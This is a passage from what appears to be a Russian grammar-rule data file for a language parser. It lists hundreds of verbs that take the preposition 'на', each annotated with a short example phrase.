rus_verbs:выезжать{}, // Завтра вся семья выезжает на новую квартиру. rus_verbs:записать{}, // Запишите меня на завтрашний приём к доктору. rus_verbs:пасть{}, // Жребий пал на меня. rus_verbs:ездить{}, // Вчера мы ездили на оперу. rus_verbs:влезть{}, // Мальчик влез на дерево. rus_verbs:выбежать{}, // Мальчик выбежал из комнаты на улицу. rus_verbs:разбиться{}, // окно разбилось на мелкие осколки rus_verbs:бежать{}, // я бегу на урок rus_verbs:сбегаться{}, // сбегаться на происшествие rus_verbs:присылать{}, // присылать на испытание rus_verbs:надавить{}, // надавить на педать rus_verbs:внести{}, // внести законопроект на рассмотрение rus_verbs:вносить{}, // вносить законопроект на рассмотрение rus_verbs:поворачиваться{}, // поворачиваться на 180 градусов rus_verbs:сдвинуть{}, // сдвинуть на несколько сантиметров rus_verbs:опубликовать{}, // С.Митрохин опубликовал компромат на думских подельников Гудкова rus_verbs:вырасти{}, // Официальный курс доллара вырос на 26 копеек. rus_verbs:оглядываться{}, // оглядываться на девушек rus_verbs:расходиться{}, // расходиться на отдых rus_verbs:поскакать{}, // поскакать на службу rus_verbs:прыгать{}, // прыгать на сцену rus_verbs:приглашать{}, // приглашать на обед rus_verbs:рваться{}, // Кусок ткани рвется на части rus_verbs:понестись{}, // понестись на волю rus_verbs:распространяться{}, // распространяться на всех жителей штата инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на пол инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш }, деепричастие:просыпавшись{}, деепричастие:просыпаясь{}, rus_verbs:заехать{}, // заехать на пандус rus_verbs:разобрать{}, // разобрать на составляющие rus_verbs:опускаться{}, // опускаться на колени rus_verbs:переехать{}, // переехать на конспиративную квартиру rus_verbs:закрывать{}, // закрывать глаза на действия конкурентов rus_verbs:поместить{}, // поместить на поднос rus_verbs:отходить{}, // отходить на подготовленные позиции rus_verbs:сыпаться{}, // сыпаться на плечи rus_verbs:отвезти{}, // отвезти на занятия rus_verbs:накинуть{}, // накинуть на плечи rus_verbs:отлететь{}, // отлететь на пол rus_verbs:закинуть{}, // закинуть на чердак rus_verbs:зашипеть{}, // зашипеть на собаку rus_verbs:прогреметь{}, // прогреметь на всю страну rus_verbs:повалить{}, // повалить на стол rus_verbs:опереть{}, // опереть на фундамент rus_verbs:забросить{}, // забросить на антресоль rus_verbs:подействовать{}, // подействовать на материал rus_verbs:разделять{}, // разделять на части rus_verbs:прикрикнуть{}, // прикрикнуть на детей rus_verbs:разложить{}, // разложить на множители rus_verbs:провожать{}, // провожать на работу rus_verbs:катить{}, // катить на стройку rus_verbs:наложить{}, // наложить запрет на проведение операций с недвижимостью rus_verbs:сохранять{}, // сохранять на память rus_verbs:злиться{}, // злиться на друга rus_verbs:оборачиваться{}, // оборачиваться на свист rus_verbs:сползти{}, // сползти на землю rus_verbs:записывать{}, // записывать на ленту rus_verbs:загнать{}, // загнать на дерево rus_verbs:забормотать{}, // забормотать на ухо rus_verbs:протиснуться{}, // протиснуться на самый край rus_verbs:заторопиться{}, // заторопиться на вручение премии rus_verbs:гаркнуть{}, // гаркнуть на шалунов rus_verbs:навалиться{}, // навалиться на виновника всей толпой rus_verbs:проскользнуть{}, // проскользнуть на крышу дома rus_verbs:подтянуть{}, // подтянуть на палубу rus_verbs:скатиться{}, // скатиться на двойки rus_verbs:давить{}, // давить на жалость rus_verbs:намекнуть{}, // намекнуть на новые обстоятельства rus_verbs:замахнуться{}, // замахнуться на святое rus_verbs:заменить{}, // заменить на свежую салфетку rus_verbs:свалить{}, // свалить на землю rus_verbs:стекать{}, // стекать на оголенные провода rus_verbs:увеличиваться{}, // увеличиваться на сотню процентов rus_verbs:развалиться{}, // развалиться на части rus_verbs:сердиться{}, // сердиться на товарища rus_verbs:обронить{}, // обронить на пол rus_verbs:подсесть{}, // подсесть на наркоту rus_verbs:реагировать{}, // реагировать на импульсы rus_verbs:отпускать{}, // отпускать на волю rus_verbs:прогнать{}, // прогнать на рабочее место rus_verbs:ложить{}, // ложить на стол rus_verbs:рвать{}, // рвать на части rus_verbs:разлететься{}, // разлететься на кусочки rus_verbs:превышать{}, // превышать на существенную величину rus_verbs:сбиться{}, // сбиться на рысь rus_verbs:пристроиться{}, // пристроиться на хорошую работу rus_verbs:удрать{}, // удрать на пастбище rus_verbs:толкать{}, // толкать на преступление rus_verbs:посматривать{}, // посматривать на экран rus_verbs:набирать{}, // набирать на судно rus_verbs:отступать{}, // отступать на дерево rus_verbs:подуть{}, // подуть на молоко rus_verbs:плеснуть{}, // плеснуть на голову rus_verbs:соскользнуть{}, // соскользнуть на землю rus_verbs:затаить{}, // затаить на кого-то обиду rus_verbs:обижаться{}, // обижаться на Колю rus_verbs:смахнуть{}, // смахнуть на пол rus_verbs:застегнуть{}, // застегнуть на все пуговицы rus_verbs:спускать{}, // спускать на землю rus_verbs:греметь{}, // греметь на всю округу rus_verbs:скосить{}, // скосить на соседа глаз rus_verbs:отважиться{}, // отважиться на прыжок rus_verbs:литься{}, // литься на землю rus_verbs:порвать{}, // порвать на тряпки rus_verbs:проследовать{}, // проследовать на сцену rus_verbs:надевать{}, // надевать на голову rus_verbs:проскочить{}, // проскочить на красный свет rus_verbs:прилечь{}, // прилечь на диванчик rus_verbs:разделиться{}, // разделиться на небольшие группы rus_verbs:завыть{}, // завыть на луну rus_verbs:переносить{}, // переносить на другую машину rus_verbs:наговорить{}, // наговорить на сотню рублей rus_verbs:намекать{}, // намекать на новые обстоятельства rus_verbs:нападать{}, // нападать на охранников rus_verbs:убегать{}, // убегать на другое место rus_verbs:тратить{}, // тратить на развлечения rus_verbs:присаживаться{}, // присаживаться на корточки rus_verbs:переместиться{}, // переместиться на вторую линию rus_verbs:завалиться{}, // завалиться на диван rus_verbs:удалиться{}, // удалиться на покой rus_verbs:уменьшаться{}, // уменьшаться на несколько процентов rus_verbs:обрушить{}, // обрушить на голову rus_verbs:резать{}, // резать на части rus_verbs:умчаться{}, // умчаться на юг rus_verbs:навернуться{}, // навернуться на камень rus_verbs:примчаться{}, // примчаться на матч rus_verbs:издавать{}, // издавать на собственные средства rus_verbs:переключить{}, // переключить на другой язык rus_verbs:отправлять{}, // отправлять на пенсию rus_verbs:залечь{}, // залечь на дно rus_verbs:установиться{}, // установиться на диск rus_verbs:направлять{}, // направлять на дополнительное обследование rus_verbs:разрезать{}, // разрезать на части rus_verbs:оскалиться{}, // оскалиться на прохожего rus_verbs:рычать{}, // рычать на пьяных rus_verbs:погружаться{}, // погружаться на дно rus_verbs:опираться{}, // опираться на костыли rus_verbs:поторопиться{}, // поторопиться на учебу rus_verbs:сдвинуться{}, // сдвинуться на сантиметр rus_verbs:увеличить{}, // увеличить на процент rus_verbs:опускать{}, // опускать на землю rus_verbs:созвать{}, // созвать на митинг rus_verbs:делить{}, // делить на части rus_verbs:пробиться{}, // пробиться на заключительную часть rus_verbs:простираться{}, // простираться на много миль rus_verbs:забить{}, // забить на учебу rus_verbs:переложить{}, // переложить на чужие плечи rus_verbs:грохнуться{}, // грохнуться на землю rus_verbs:прорваться{}, // прорваться на сцену rus_verbs:разлить{}, // разлить на землю rus_verbs:укладываться{}, // укладываться на ночевку rus_verbs:уволить{}, // уволить на пенсию rus_verbs:наносить{}, // наносить на кожу rus_verbs:набежать{}, // набежать на берег rus_verbs:заявиться{}, // заявиться на стрельбище rus_verbs:налиться{}, // налиться на крышку rus_verbs:надвигаться{}, // надвигаться на берег rus_verbs:распустить{}, // распустить на каникулы rus_verbs:переключиться{}, // переключиться на другую задачу rus_verbs:чихнуть{}, // чихнуть на окружающих rus_verbs:шлепнуться{}, // шлепнуться на спину rus_verbs:устанавливать{}, // устанавливать на крышу rus_verbs:устанавливаться{}, // устанавливаться на крышу rus_verbs:устраиваться{}, // устраиваться на работу rus_verbs:пропускать{}, // пропускать на стадион инфинитив:сбегать{ вид:соверш }, глагол:сбегать{ вид:соверш }, // сбегать на фильм инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш }, деепричастие:сбегав{}, деепричастие:сбегая{}, rus_verbs:показываться{}, // показываться на глаза rus_verbs:прибегать{}, // прибегать на урок rus_verbs:съездить{}, // съездить на ферму rus_verbs:прославиться{}, // прославиться на всю страну rus_verbs:опрокинуться{}, // опрокинуться на спину rus_verbs:насыпать{}, // насыпать на землю rus_verbs:употреблять{}, // употреблять на корм скоту rus_verbs:пристроить{}, // пристроить на работу rus_verbs:заворчать{}, // заворчать на вошедшего rus_verbs:завязаться{}, // завязаться на поставщиков rus_verbs:сажать{}, // сажать на стул rus_verbs:напрашиваться{}, // напрашиваться на жесткие ответные меры rus_verbs:заменять{}, // заменять на исправную rus_verbs:нацепить{}, // нацепить на голову rus_verbs:сыпать{}, // сыпать на землю rus_verbs:закрываться{}, // закрываться на ремонт rus_verbs:распространиться{}, // распространиться на всю популяцию rus_verbs:поменять{}, // поменять на велосипед rus_verbs:пересесть{}, // пересесть на велосипеды rus_verbs:подоспеть{}, // подоспеть на разбор rus_verbs:шипеть{}, // шипеть на собак rus_verbs:поделить{}, // поделить на части rus_verbs:подлететь{}, // подлететь на расстояние выстрела rus_verbs:нажимать{}, // нажимать на все кнопки rus_verbs:распасться{}, // распасться на части rus_verbs:приволочь{}, // приволочь на диван rus_verbs:пожить{}, // пожить на один доллар rus_verbs:устремляться{}, // устремляться на свободу rus_verbs:смахивать{}, // смахивать на пол rus_verbs:забежать{}, // забежать на обед rus_verbs:увеличиться{}, // увеличиться на существенную величину rus_verbs:прокрасться{}, // прокрасться на склад rus_verbs:пущать{}, // пущать на постой rus_verbs:отклонить{}, // отклонить на несколько градусов rus_verbs:насмотреться{}, // насмотреться на безобразия rus_verbs:настроить{}, // настроить на короткие волны rus_verbs:уменьшиться{}, // уменьшиться на пару сантиметров rus_verbs:поменяться{}, // поменяться на другую книжку rus_verbs:расколоться{}, // расколоться на части rus_verbs:разлиться{}, // разлиться на землю rus_verbs:срываться{}, // срываться на жену rus_verbs:осудить{}, // осудить на пожизненное заключение rus_verbs:передвинуть{}, // передвинуть на первое место rus_verbs:допускаться{}, // допускаться на полигон rus_verbs:задвинуть{}, // задвинуть на полку rus_verbs:повлиять{}, // повлиять на оценку rus_verbs:отбавлять{}, // отбавлять на осмотр rus_verbs:сбрасывать{}, // сбрасывать на землю rus_verbs:накинуться{}, // накинуться на случайных прохожих rus_verbs:пролить{}, // пролить на кожу руки rus_verbs:затащить{}, // затащить на сеновал rus_verbs:перебежать{}, // перебежать на сторону противника rus_verbs:наливать{}, // наливать на скатерть rus_verbs:пролезть{}, // пролезть на сцену rus_verbs:откладывать{}, // откладывать на черный день rus_verbs:распадаться{}, // распадаться на небольшие фрагменты rus_verbs:перечислить{}, // перечислить на счет rus_verbs:закачаться{}, // закачаться на верхний уровень rus_verbs:накрениться{}, // накрениться на правый борт rus_verbs:подвинуться{}, // подвинуться на один уровень rus_verbs:разнести{}, // разнести на мелкие кусочки rus_verbs:зажить{}, // зажить на широкую ногу rus_verbs:оглохнуть{}, // оглохнуть на правое ухо rus_verbs:посетовать{}, // посетовать на бюрократизм rus_verbs:уводить{}, // уводить на осмотр rus_verbs:ускакать{}, // ускакать на забег rus_verbs:посветить{}, // посветить на стену rus_verbs:разрываться{}, // разрываться на части rus_verbs:побросать{}, // побросать на землю rus_verbs:карабкаться{}, // карабкаться на скалу rus_verbs:нахлынуть{}, // нахлынуть на кого-то rus_verbs:разлетаться{}, // разлетаться на мелкие осколочки rus_verbs:среагировать{}, // среагировать на сигнал rus_verbs:претендовать{}, // претендовать на приз rus_verbs:дунуть{}, // дунуть на одуванчик rus_verbs:переводиться{}, // переводиться на другую работу rus_verbs:перевезти{}, // перевезти на другую площадку rus_verbs:топать{}, // топать на урок rus_verbs:относить{}, // относить на склад rus_verbs:сбивать{}, // сбивать на землю rus_verbs:укладывать{}, // укладывать на спину rus_verbs:укатить{}, // укатить на отдых rus_verbs:убирать{}, // убирать на полку rus_verbs:опасть{}, // опасть на землю rus_verbs:ронять{}, // ронять на снег rus_verbs:пялиться{}, // пялиться на тело rus_verbs:глазеть{}, // глазеть на тело rus_verbs:снижаться{}, // снижаться на безопасную высоту rus_verbs:запрыгнуть{}, // запрыгнуть на платформу rus_verbs:разбиваться{}, // разбиваться на главы rus_verbs:сгодиться{}, // сгодиться на фарш rus_verbs:перескочить{}, // перескочить на другую страницу rus_verbs:нацелиться{}, // нацелиться на главную добычу rus_verbs:заезжать{}, // заезжать на бордюр rus_verbs:забираться{}, // забираться на крышу rus_verbs:проорать{}, // проорать на всё село rus_verbs:сбежаться{}, // сбежаться на шум rus_verbs:сменять{}, // сменять на хлеб rus_verbs:мотать{}, // мотать на ус rus_verbs:раскалываться{}, // раскалываться на две половинки rus_verbs:коситься{}, // коситься на режиссёра rus_verbs:плевать{}, // плевать на законы rus_verbs:ссылаться{}, // ссылаться на авторитетное мнение rus_verbs:наставить{}, // наставить на путь истинный rus_verbs:завывать{}, // завывать на Луну rus_verbs:опаздывать{}, // опаздывать на совещание rus_verbs:залюбоваться{}, // залюбоваться на пейзаж rus_verbs:повергнуть{}, // повергнуть на землю rus_verbs:надвинуть{}, // надвинуть на лоб rus_verbs:стекаться{}, // стекаться на площадь rus_verbs:обозлиться{}, // обозлиться на тренера rus_verbs:оттянуть{}, // оттянуть на себя rus_verbs:истратить{}, // истратить на дешевых шлюх rus_verbs:вышвырнуть{}, // вышвырнуть на улицу rus_verbs:затолкать{}, // затолкать на верхнюю полку rus_verbs:заскочить{}, // заскочить на огонек rus_verbs:проситься{}, // проситься на улицу rus_verbs:натыкаться{}, // натыкаться на борщевик rus_verbs:обрушиваться{}, // обрушиваться на митингующих rus_verbs:переписать{}, // переписать на чистовик rus_verbs:переноситься{}, // переноситься на другое устройство rus_verbs:напроситься{}, // напроситься на обидный ответ rus_verbs:натягивать{}, // натягивать на ноги rus_verbs:кидаться{}, // кидаться на прохожих rus_verbs:откликаться{}, // откликаться на призыв rus_verbs:поспевать{}, // поспевать на балет rus_verbs:обратиться{}, // обратиться на кафедру rus_verbs:полюбоваться{}, // полюбоваться на бюст rus_verbs:таращиться{}, // таращиться на мустангов rus_verbs:напороться{}, // напороться на колючки rus_verbs:раздать{}, // раздать на руки rus_verbs:дивиться{}, // дивиться на танцовщиц rus_verbs:назначать{}, // назначать на ответственнейший пост rus_verbs:кидать{}, // кидать на балкон rus_verbs:нахлобучить{}, // нахлобучить на башку rus_verbs:увлекать{}, // увлекать на луг rus_verbs:ругнуться{}, // ругнуться на животину rus_verbs:переселиться{}, // переселиться на хутор rus_verbs:разрывать{}, // разрывать на части rus_verbs:утащить{}, // утащить на дерево rus_verbs:наставлять{}, // наставлять на путь rus_verbs:соблазнить{}, // соблазнить на обмен rus_verbs:накладывать{}, // накладывать на рану rus_verbs:набрести{}, // набрести на грибную поляну rus_verbs:наведываться{}, // наведываться на прежнюю работу rus_verbs:погулять{}, // погулять на чужие деньги rus_verbs:уклоняться{}, // уклоняться на два градуса влево rus_verbs:слезать{}, // слезать на землю rus_verbs:клевать{}, // клевать на мотыля // rus_verbs:назначаться{}, // назначаться на пост rus_verbs:напялить{}, // напялить на голову rus_verbs:натянуться{}, // натянуться на рамку rus_verbs:разгневаться{}, // разгневаться на придворных rus_verbs:эмигрировать{}, // эмигрировать на Кипр rus_verbs:накатить{}, // накатить на основу rus_verbs:пригнать{}, // пригнать на пастбище rus_verbs:обречь{}, // обречь на мучения rus_verbs:сокращаться{}, // сокращаться на четверть rus_verbs:оттеснить{}, // оттеснить на пристань rus_verbs:подбить{}, // подбить на аферу rus_verbs:заманить{}, // заманить на дерево инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на кустик // деепричастие:пописав{ aux stress="поп^исать" }, rus_verbs:посходить{}, // посходить на перрон rus_verbs:налечь{}, // налечь на мясцо rus_verbs:отбирать{}, // отбирать на флот rus_verbs:нашептывать{}, // нашептывать на ухо rus_verbs:откладываться{}, // откладываться на будущее rus_verbs:залаять{}, // залаять на грабителя rus_verbs:настроиться{}, // настроиться на прием rus_verbs:разбивать{}, // разбивать на куски rus_verbs:пролиться{}, // пролиться на почву rus_verbs:сетовать{}, // сетовать на объективные трудности rus_verbs:подвезти{}, // подвезти на митинг rus_verbs:припереться{}, // припереться на праздник rus_verbs:подталкивать{}, // подталкивать на прыжок rus_verbs:прорываться{}, // прорываться на сцену rus_verbs:снижать{}, // снижать на несколько процентов rus_verbs:нацелить{}, // нацелить на танк rus_verbs:расколоть{}, // расколоть на два куска rus_verbs:увозить{}, // увозить на обкатку rus_verbs:оседать{}, // оседать на дно rus_verbs:съедать{}, // съедать на ужин rus_verbs:навлечь{}, // навлечь на себя rus_verbs:равняться{}, // равняться на лучших rus_verbs:сориентироваться{}, // сориентироваться на местности rus_verbs:снизить{}, // снизить на несколько процентов rus_verbs:перенестись{}, // перенестись на много лет назад rus_verbs:завезти{}, // завезти на склад rus_verbs:проложить{}, // проложить на гору rus_verbs:понадеяться{}, // понадеяться на удачу rus_verbs:заступить{}, // заступить на вахту rus_verbs:засеменить{}, // засеменить на выход rus_verbs:запирать{}, // запирать на ключ rus_verbs:скатываться{}, // скатываться на землю rus_verbs:дробить{}, // дробить на части rus_verbs:разваливаться{}, // разваливаться на кусочки rus_verbs:завозиться{}, // завозиться на склад rus_verbs:нанимать{}, // нанимать на дневную работу rus_verbs:поспеть{}, // поспеть на концерт rus_verbs:променять{}, // променять на сытость rus_verbs:переправить{}, // переправить на север rus_verbs:налетать{}, // налетать на силовое поле rus_verbs:затворить{}, // затворить на замок rus_verbs:подогнать{}, // подогнать на пристань rus_verbs:наехать{}, // наехать на камень rus_verbs:распевать{}, // распевать на разные голоса rus_verbs:разносить{}, // разносить на клочки rus_verbs:преувеличивать{}, // преувеличивать на много килограммов rus_verbs:хромать{}, // хромать на одну ногу rus_verbs:телеграфировать{}, // телеграфировать на базу rus_verbs:порезать{}, // порезать на лоскуты rus_verbs:порваться{}, // порваться на части rus_verbs:загонять{}, // загонять на дерево rus_verbs:отбывать{}, // отбывать на место службы rus_verbs:усаживаться{}, // усаживаться на трон rus_verbs:накопить{}, // накопить на квартиру rus_verbs:зыркнуть{}, // зыркнуть на визитера rus_verbs:копить{}, // копить на машину rus_verbs:помещать{}, // помещать на верхнюю грань rus_verbs:сползать{}, // сползать на снег rus_verbs:попроситься{}, // попроситься на улицу rus_verbs:перетащить{}, // перетащить на чердак rus_verbs:растащить{}, // растащить на сувениры rus_verbs:ниспадать{}, // ниспадать на землю rus_verbs:сфотографировать{}, // сфотографировать на память rus_verbs:нагонять{}, // нагонять на конкурентов страх rus_verbs:покушаться{}, // покушаться на понтифика rus_verbs:покуситься{}, rus_verbs:наняться{}, // наняться на службу rus_verbs:просачиваться{}, // просачиваться на поверхность rus_verbs:пускаться{}, // пускаться на ветер rus_verbs:отваживаться{}, // отваживаться на прыжок rus_verbs:досадовать{}, // досадовать на объективные трудности rus_verbs:унестись{}, // унестись на небо rus_verbs:ухудшаться{}, // ухудшаться на несколько процентов rus_verbs:насадить{}, // насадить на копьё rus_verbs:нагрянуть{}, // нагрянуть на праздник rus_verbs:зашвырнуть{}, // зашвырнуть на полку rus_verbs:грешить{}, // грешить на постояльцев rus_verbs:просочиться{}, // просочиться на поверхность rus_verbs:надоумить{}, // надоумить на глупость rus_verbs:намотать{}, // намотать на шпиндель rus_verbs:замкнуть{}, // замкнуть на корпус rus_verbs:цыкнуть{}, // цыкнуть на детей rus_verbs:переворачиваться{}, // переворачиваться на спину rus_verbs:соваться{}, // соваться на площать rus_verbs:отлучиться{}, // отлучиться на обед rus_verbs:пенять{}, // пенять на себя rus_verbs:нарезать{}, // нарезать на ломтики rus_verbs:поставлять{}, // поставлять на Кипр rus_verbs:залезать{}, // залезать на балкон rus_verbs:отлучаться{}, // отлучаться на обед rus_verbs:сбиваться{}, // сбиваться на шаг rus_verbs:таращить{}, // таращить глаза на вошедшего rus_verbs:прошмыгнуть{}, // прошмыгнуть на кухню rus_verbs:опережать{}, // опережать на пару сантиметров rus_verbs:переставить{}, // переставить на стол rus_verbs:раздирать{}, // раздирать на части rus_verbs:затвориться{}, // затвориться на засовы rus_verbs:материться{}, // материться на кого-то rus_verbs:наскочить{}, // наскочить на риф rus_verbs:набираться{}, // набираться на борт rus_verbs:покрикивать{}, // покрикивать на помощников rus_verbs:заменяться{}, // заменяться на более новый rus_verbs:подсадить{}, // подсадить на верхнюю полку rus_verbs:проковылять{}, // проковылять на кухню rus_verbs:прикатить{}, // прикатить на старт rus_verbs:залететь{}, // залететь на чужую территорию rus_verbs:загрузить{}, // загрузить на конвейер rus_verbs:уплывать{}, // уплывать на материк rus_verbs:опозорить{}, // опозорить на всю деревню rus_verbs:провоцировать{}, // провоцировать на ответную агрессию rus_verbs:забивать{}, // забивать на учебу rus_verbs:набегать{}, // набегать на прибрежные деревни rus_verbs:запираться{}, // запираться на ключ rus_verbs:фотографировать{}, // фотографировать на мыльницу rus_verbs:подымать{}, // подымать на недосягаемую высоту rus_verbs:съезжаться{}, // съезжаться на симпозиум rus_verbs:отвлекаться{}, // отвлекаться на игру rus_verbs:проливать{}, // проливать на брюки rus_verbs:спикировать{}, // спикировать на зазевавшегося зайца rus_verbs:уползти{}, // уползти на вершину холма rus_verbs:переместить{}, // переместить на вторую палубу rus_verbs:превысить{}, // превысить на несколько метров rus_verbs:передвинуться{}, // передвинуться на соседнюю клетку rus_verbs:спровоцировать{}, // спровоцировать на бросок rus_verbs:сместиться{}, // сместиться на соседнюю клетку rus_verbs:заготовить{}, // заготовить на зиму rus_verbs:плеваться{}, // плеваться на пол rus_verbs:переселить{}, // переселить на север rus_verbs:напирать{}, // напирать на дверь rus_verbs:переезжать{}, // переезжать на другой этаж rus_verbs:приподнимать{}, // приподнимать на несколько сантиметров rus_verbs:трогаться{}, // трогаться на красный свет rus_verbs:надвинуться{}, // надвинуться на глаза rus_verbs:засмотреться{}, // засмотреться на купальники rus_verbs:убыть{}, // убыть на фронт rus_verbs:передвигать{}, // передвигать на второй уровень rus_verbs:отвозить{}, // отвозить на свалку rus_verbs:обрекать{}, // обрекать на гибель rus_verbs:записываться{}, // записываться на танцы rus_verbs:настраивать{}, // настраивать на другой диапазон rus_verbs:переписывать{}, // переписывать на диск rus_verbs:израсходовать{}, // израсходовать на гонки rus_verbs:обменять{}, // обменять на перспективного игрока rus_verbs:трубить{}, // трубить на всю округу rus_verbs:набрасываться{}, // набрасываться на жертву rus_verbs:чихать{}, // чихать на правила rus_verbs:наваливаться{}, // наваливаться на рычаг rus_verbs:сподобиться{}, // сподобиться на повторный анализ rus_verbs:намазать{}, // намазать на хлеб rus_verbs:прореагировать{}, // прореагировать на вызов rus_verbs:зачислить{}, // зачислить на факультет rus_verbs:наведаться{}, // наведаться на склад rus_verbs:откидываться{}, // откидываться на спинку кресла rus_verbs:захромать{}, // захромать на левую ногу rus_verbs:перекочевать{}, // перекочевать на другой берег rus_verbs:накатываться{}, // накатываться на песчаный берег rus_verbs:приостановить{}, // приостановить на некоторое время rus_verbs:запрятать{}, // запрятать на верхнюю полочку rus_verbs:прихрамывать{}, // прихрамывать на правую ногу rus_verbs:упорхнуть{}, // упорхнуть на свободу rus_verbs:расстегивать{}, // расстегивать на пальто rus_verbs:напуститься{}, // напуститься на бродягу rus_verbs:накатывать{}, // накатывать на оригинал rus_verbs:наезжать{}, // наезжать на простофилю rus_verbs:тявкнуть{}, // тявкнуть на подошедшего человека rus_verbs:отрядить{}, // отрядить на починку rus_verbs:положиться{}, // положиться на главаря rus_verbs:опрокидывать{}, // опрокидывать на голову rus_verbs:поторапливаться{}, // поторапливаться на рейс rus_verbs:налагать{}, // налагать на заемщика rus_verbs:скопировать{}, // скопировать на диск rus_verbs:опадать{}, // опадать на землю rus_verbs:купиться{}, // купиться на посулы rus_verbs:гневаться{}, // гневаться на слуг rus_verbs:слететься{}, // слететься на раздачу rus_verbs:убавить{}, // убавить на два уровня rus_verbs:спихнуть{}, // спихнуть на соседа rus_verbs:накричать{}, // накричать на ребенка rus_verbs:приберечь{}, // приберечь на ужин rus_verbs:приклеить{}, // приклеить на ветровое стекло rus_verbs:ополчиться{}, // ополчиться на посредников rus_verbs:тратиться{}, // тратиться на сувениры rus_verbs:слетаться{}, // слетаться на свет rus_verbs:доставляться{}, // доставляться на базу rus_verbs:поплевать{}, // поплевать на руки rus_verbs:огрызаться{}, // огрызаться на замечание rus_verbs:попереться{}, // попереться на рынок rus_verbs:растягиваться{}, // растягиваться на полу rus_verbs:повергать{}, // повергать на землю rus_verbs:ловиться{}, // ловиться на мотыля rus_verbs:наседать{}, // наседать на обороняющихся rus_verbs:развалить{}, // развалить на кирпичи rus_verbs:разломить{}, // разломить на несколько частей rus_verbs:примерить{}, // примерить на себя rus_verbs:лепиться{}, // лепиться на стену rus_verbs:скопить{}, // скопить на старость rus_verbs:затратить{}, // затратить на ликвидацию последствий rus_verbs:притащиться{}, // притащиться на гулянку rus_verbs:осерчать{}, // осерчать на прислугу rus_verbs:натравить{}, // натравить на медведя rus_verbs:ссыпать{}, // ссыпать на землю rus_verbs:подвозить{}, // подвозить на пристань rus_verbs:мобилизовать{}, // мобилизовать на сборы rus_verbs:смотаться{}, // смотаться на работу rus_verbs:заглядеться{}, // заглядеться на девчонок rus_verbs:таскаться{}, // таскаться на работу rus_verbs:разгружать{}, // разгружать на транспортер rus_verbs:потреблять{}, // потреблять на кондиционирование инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять на базу деепричастие:сгоняв{}, rus_verbs:посылаться{}, // посылаться на разведку rus_verbs:окрыситься{}, // окрыситься на кого-то rus_verbs:отлить{}, // отлить на сковороду rus_verbs:шикнуть{}, // шикнуть на детишек rus_verbs:уповать{}, // уповать на бескорысную помощь rus_verbs:класться{}, // класться на стол rus_verbs:поковылять{}, // поковылять на выход rus_verbs:навевать{}, // навевать на собравшихся скуку rus_verbs:накладываться{}, // накладываться на грунтовку rus_verbs:наноситься{}, // наноситься на чистую кожу // rus_verbs:запланировать{}, // запланировать на среду rus_verbs:кувыркнуться{}, // кувыркнуться на землю rus_verbs:гавкнуть{}, // гавкнуть на хозяина rus_verbs:перестроиться{}, // перестроиться на новый лад rus_verbs:расходоваться{}, // расходоваться на образование rus_verbs:дуться{}, // дуться на бабушку rus_verbs:перетаскивать{}, // перетаскивать на рабочий стол rus_verbs:издаться{}, // издаться на деньги спонсоров rus_verbs:смещаться{}, // смещаться на несколько миллиметров rus_verbs:зазывать{}, // зазывать на новогоднюю распродажу rus_verbs:пикировать{}, // пикировать на окопы rus_verbs:чертыхаться{}, // чертыхаться на мешающихся детей rus_verbs:зудить{}, // зудить на ухо rus_verbs:подразделяться{}, // подразделяться на группы rus_verbs:изливаться{}, // изливаться на землю rus_verbs:помочиться{}, // помочиться на траву rus_verbs:примерять{}, // примерять на себя rus_verbs:разрядиться{}, // разрядиться на землю rus_verbs:мотнуться{}, // мотнуться на крышу rus_verbs:налегать{}, // налегать на весла rus_verbs:зацокать{}, // зацокать на куриц rus_verbs:наниматься{}, // наниматься на корабль rus_verbs:сплевывать{}, // сплевывать на землю rus_verbs:настучать{}, // настучать на саботажника rus_verbs:приземляться{}, // приземляться на брюхо rus_verbs:наталкиваться{}, // наталкиваться на объективные трудности rus_verbs:посигналить{}, // посигналить нарушителю, выехавшему на встречную полосу rus_verbs:серчать{}, // серчать на нерасторопную помощницу rus_verbs:сваливать{}, // сваливать на подоконник rus_verbs:засобираться{}, // засобираться на работу rus_verbs:распилить{}, // распилить на одинаковые бруски //rus_verbs:умножать{}, // умножать на константу rus_verbs:копировать{}, // копировать на диск rus_verbs:накрутить{}, // накрутить на руку rus_verbs:навалить{}, // навалить на телегу rus_verbs:натолкнуть{}, // натолкнуть на свежую мысль rus_verbs:шлепаться{}, // шлепаться на бетон rus_verbs:ухлопать{}, // ухлопать на скупку произведений искусства rus_verbs:замахиваться{}, // замахиваться на авторитетнейшее мнение rus_verbs:посягнуть{}, // посягнуть на святое rus_verbs:разменять{}, // разменять на мелочь rus_verbs:откатываться{}, // откатываться на заранее подготовленные позиции rus_verbs:усаживать{}, // усаживать на скамейку rus_verbs:натаскать{}, // натаскать на поиск наркотиков rus_verbs:зашикать{}, // зашикать на кошку rus_verbs:разломать{}, // разломать на равные части rus_verbs:приглашаться{}, // приглашаться на сцену rus_verbs:присягать{}, // присягать на верность rus_verbs:запрограммировать{}, // запрограммировать на постоянную уборку rus_verbs:расщедриться{}, // расщедриться на новый компьютер rus_verbs:насесть{}, // насесть на двоечников rus_verbs:созывать{}, // созывать на собрание rus_verbs:позариться{}, // позариться на чужое добро rus_verbs:перекидываться{}, // перекидываться на соседние здания rus_verbs:наползать{}, // наползать на неповрежденную ткань rus_verbs:изрубить{}, // изрубить на мелкие кусочки rus_verbs:наворачиваться{}, // наворачиваться на глаза rus_verbs:раскричаться{}, // раскричаться на всю округу rus_verbs:переползти{}, // переползти на светлую сторону rus_verbs:уполномочить{}, // уполномочить на разведовательную операцию rus_verbs:мочиться{}, // мочиться на трупы убитых врагов rus_verbs:радировать{}, // радировать на базу rus_verbs:промотать{}, // промотать на начало rus_verbs:заснять{}, // заснять на видео rus_verbs:подбивать{}, // подбивать на матч-реванш rus_verbs:наплевать{}, // наплевать на справедливость rus_verbs:подвывать{}, // подвывать на луну rus_verbs:расплескать{}, // расплескать на пол rus_verbs:польститься{}, // польститься на бесплатный сыр rus_verbs:помчать{}, // помчать на работу rus_verbs:съезжать{}, // съезжать на обочину rus_verbs:нашептать{}, // нашептать кому-то на ухо rus_verbs:наклеить{}, // наклеить на доску объявлений rus_verbs:завозить{}, // завозить 